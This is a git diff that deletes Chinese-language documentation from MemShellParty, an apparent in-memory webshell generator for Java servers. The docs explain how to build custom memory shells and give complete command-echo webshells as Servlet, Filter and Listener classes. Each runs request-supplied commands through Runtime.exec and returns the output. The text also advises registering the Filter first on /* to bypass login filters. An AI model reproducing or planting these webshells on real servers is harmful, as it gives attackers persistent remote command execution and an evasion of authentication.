diff --git a/docs/WriteCustomShell.md b/docs/WriteCustomShell.md deleted file mode 100644 index 3df362e6..00000000 --- a/docs/WriteCustomShell.md +++ /dev/null @@ -1,54 +0,0 @@ -## 如何使用自定义内存马功能 - -MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入,注入的伪代码如下: - -```java -Object context = getContext(); -Object shell = defineClass(getShellBase64Str()); - -inject(context, shell); -``` - -自定义内存马就是开放 getShellBase64Str 的修改,通过生成界面传入内存马的 base64 或 class 文件来实现。 - -注入器的选择,在通过生成界面选完目标服务和挂载类型就已经确认好了,无法自定义。 - -### 实现参考 - -1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为 - jakarta,无须重复实现。 -2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest - 方法上,因此推荐按参考实现一样使用空实现,额外需要注意 getResponseFromRequest 中的 request 请求参数声明必须为 Object。 -3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。 -4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent - 内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`、 - `javax.crypto.Cipher`。 - -| 挂载类型 | 参考实现 | -|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) | -| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) | -| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) | -| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) | -| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | -| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) | -| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) | -| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) | -| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) | -| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) | -| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) | -| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) | -| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | -| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | -| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) | -| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | -| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) | -| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) | - -### 参考步骤 - -1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地 -2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写 -3. 执行 `./gradlew :memshell:compileJava` 或 `.\gradlew.bat :memshell:compileJava` -4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件 -5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成 \ No newline at end of file diff --git a/docs/shell/FilterShell.md b/docs/shell/FilterShell.md deleted file mode 100644 index 84b2f37e..00000000 --- a/docs/shell/FilterShell.md +++ /dev/null @@ -1,101 +0,0 @@ -# Java Servlet Filter - -> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md) - -Filter 是 Servlet 规范中定义的一个 Web 组件,可作用在一个 Servlet 或多个 Servlet 上,以链式的方式顺序调用,其允许改变请求和响应的头信息和内容。常见的过滤器有登录认证过滤器、字符编码过滤器以及加解密过滤器。 - -## Filter 配置 - -Filter 可以选择应用的 url-pattern 或 servlet-name,以下两种方式等价 - -```xml - - Multipe Mappings Filter - /foo/* - Servlet1 - Servlet2 - /bar/* - -``` - -```java -@WebFilter( - filterName = "Multipe Mappings Filter", - urlPatterns = {"/foo/*", "/bar/*"}, - servletNames = {"Servlet1", "Servlet2"} -) -public class MultipeMappingsFilter implements Filter { - @Override - public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { - // TODO - } -} -``` - -## doFilter - -Web 容器在启动时,会扫描 Web 应用中所有 Filter 的定义来注册 Filter,并将其封装成 FilterChain,每个 Filter 在 JVM 中只会有一个实例。 - -Filter 的接口签名如下,其中最重要的就是 doFilter 方法。 - -1. Web 容器在接收到请求时,会获取 FilterChain 中的第一个过滤器将 request、response 以及 chain 传入 doFilter 方法中进行调用。 -2. 当过滤器链中最后一个过滤器被调用,将会访问到最终的 Servlet 或静态资源。 -3. 手动在 doFilter 中调用 `chain.doFilter(request, response)`,将会访问 chain 中下一个过滤器。 -4. 在 doFilter 中可以选择不调用 `chain.doFilter(request, response)` 则意为阻止当前请求,那么当前过滤器需要负责填充响应对象。 - -```java -public interface Filter { - /** - * 由 Web 容器在初始化 Filter 时调用。 - */ - public void init(FilterConfig filterConfig) throws ServletException; - public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException; - /** - * 由 Web 容器在卸载 Filter 时调用。 - */ - public void destroy(); -} -``` - -## FilterShell - -shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求,以下定义了一个命令回显的 FilterShell。 - -1. 一般而言,我们会为 FilterShell 注册 url-pattern 为 `/*`,这样无论访问哪个路径都能被调用到,而且为了绕过登录过滤器,我们会把 FilterShell 注册为 FilterChain 中的第一个过滤器。 -2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。 -3. 当 Filter 注册的 url-pattern 为 `/*` 时,我们拿到 cmd 参数,就可以执行命令并填充响应对象 `return` 结束请求,而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`,否则正常的业务就不会被执行。 - -```java -public class CommandFilter implements Filter { - public static String paramName; - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - - } - - @Override - public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { - HttpServletRequest servletRequest = (HttpServletRequest) request; - HttpServletResponse servletResponse = (HttpServletResponse) response; - String cmd = servletRequest.getParameter(paramName); - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - return; - } - chain.doFilter(servletRequest, servletResponse); - } - - @Override - public void destroy() { - - } -} -``` diff --git a/docs/shell/ListenerShell.md b/docs/shell/ListenerShell.md deleted file mode 100644 index 2b109971..00000000 --- a/docs/shell/ListenerShell.md +++ /dev/null @@ -1,79 +0,0 @@ -# Event Listeners - -> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md) - -Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个,并且开发者可以指定监听器的调用顺序。 - -| Listener 接口类 | 描述 | -|--------------------------------------------------|---------------------------------| -| javax.servlet.ServletContextListener | 在 ServletContext 创建以及销毁时 | -| javax.servlet.ServletContextAttributeListener | 在 ServletContext 添加、移除或替换属性时 | -| javax.servlet.http.HttpSessionListener | 在 HttpSession 创建和销毁时 | -| javax.servlet.http.HttpSessionAttributeListener | 在 HttpSession 上添加、移除或替换属性 | -| javax.servlet.http.HttpSessionIdListener | 在 HttpSession id 变化时 | -| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时 | -| javax.servlet.http.HttpSessionBindingListener | 在 HttpSession 上对象绑定或解绑时 | -| javax.servlet.ServletRequestListener | 在 ServletRequest 在将要被 Web 容器处理时 | -| javax.servlet.ServletRequestAttributeListener | 在 ServletRequest 上添加、移除或替换属性时 | -| javax.servlet.AsyncListener | 在异步操作开始、超时或完成时 | - -## ServletRequestListener - -在编写 shell 时我们需要关注的主要就是 ServletRequestListener,在请求处理之前可以在拿到请求信息并处理(在 Filter 以及 Servlet 之前),由于它作为事件监听器的一员,并没有直接结束请求的机制,因此在对响应体重写等操作结束之后,最后还是会走到 Filter 和 Servlet 的逻辑。 - -```java -public interface ServletRequestListener extends EventListener { - public void requestDestroyed(ServletRequestEvent sre); - - /** - * Receives notification that a ServletRequest is about to come - * into scope of the web application. - * - * @param sre the ServletRequestEvent containing the ServletRequest - * and the ServletContext representing the web application - */ - public void requestInitialized(ServletRequestEvent sre); -} -``` - -以下时使用 ServletRequestListenerShell 命令回显的代码实现。 - -1. 由于此处只能拿到 ServletRequestEvent,其中只有 ServletRequest,但是一般中间件实现中,ServletRequest 中都会有能获取到 ServletResponse 的方法,因此额外新增了一个 getResponseFromRequest 方法。 - -```java -public class CommandListener implements ServletRequestListener { - public static String paramName; - - public CommandListener() { - } - - @Override - public void requestDestroyed(ServletRequestEvent sre) { - - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - String cmd = request.getParameter(paramName); - if (cmd != null) { - HttpServletResponse servletResponse = this.getResponseFromRequest(request); - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - return null; - } -} -``` diff --git a/docs/shell/ServletShell.md b/docs/shell/ServletShell.md deleted file mode 100644 index 02adb5cd..00000000 --- a/docs/shell/ServletShell.md +++ /dev/null @@ -1,98 +0,0 @@ -# Java Servlet - -Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要用户使用 socket 客户端,当然也可以基于 socket 实现 HTTP 协议,WebFlux 就是这样子的存在。而在 Java EE 中,Java 制定了 Servlet 规范,来规范在 Java 中提供 HTTP 服务的编写方式,其中有两个重要的概念,Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务,必须支持 HTTP,并且管理 Servlet 的生命周期,使 Servlet 在一个受限的安全环境中执行。 - -Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。 - -目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。 - -## ServletContext - -> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md) - -ServletContext 定义了 Servlet 运行的 Web 应用视图,一个 Web 应用对应一个 ServletContext。 - -ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener,对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。 - -```java -addServlet(String servletName, String className); -addServlet(String servletName, Servlet servlet); -addServlet(String servletName, Class servletClass); -addFilter(String filterName, String className); -addFilter(String filterName, Filter filter); -addFilter(String filterName, Class filterClass); -void addListener(String className); -void addListener(T t); -void addListener(Class listenerClass); -``` - -这就是在注入内存马时我们需要先拿 Context 的原因(已经写在了 Servlet 规范里面啦),所以针对实现了 Servlet 规范的 Web 容器都是一个套路,并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是,其规定了这些方法只能在应用初始化的时候调用,我们注入内存马的时候已经是应用运行时了,那些代码实际上就是将方法内的具体实现重新用反射实现一遍。 - -## HttpServlet - -99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。 - -```java -protected void doGet(HttpServletRequest req, HttpServletResponse resp); -protected void doPost(HttpServletRequest req, HttpServletResponse resp); -protected void doPut(HttpServletRequest req, HttpServletResponse resp); -protected void doDelete(HttpServletRequest req, HttpServletResponse resp); -protected void doHead(HttpServletRequest req, HttpServletResponse resp); -protected void doOptions(HttpServletRequest req, HttpServletResponse resp); -protected void doTrace(HttpServletRequest req, HttpServletResponse resp); -``` - -Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。 - -针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。 - -```java -@WebServlet(”/foo”) -public class CalculatorServlet extends HttpServlet{ -//... -} -``` - -```xml - - foo - org.example.CalculatorServlet - - - foo - /foo - -``` - -## ServletShell - -shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。 - -1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。 -2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。 - -```java -public class CommandServlet extends HttpServlet { - public static String paramName; - - @Override - protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - doPost(req, resp); - } - - @Override - protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { - String cmd = request.getParameter(paramName); - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = response.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } - } -} -```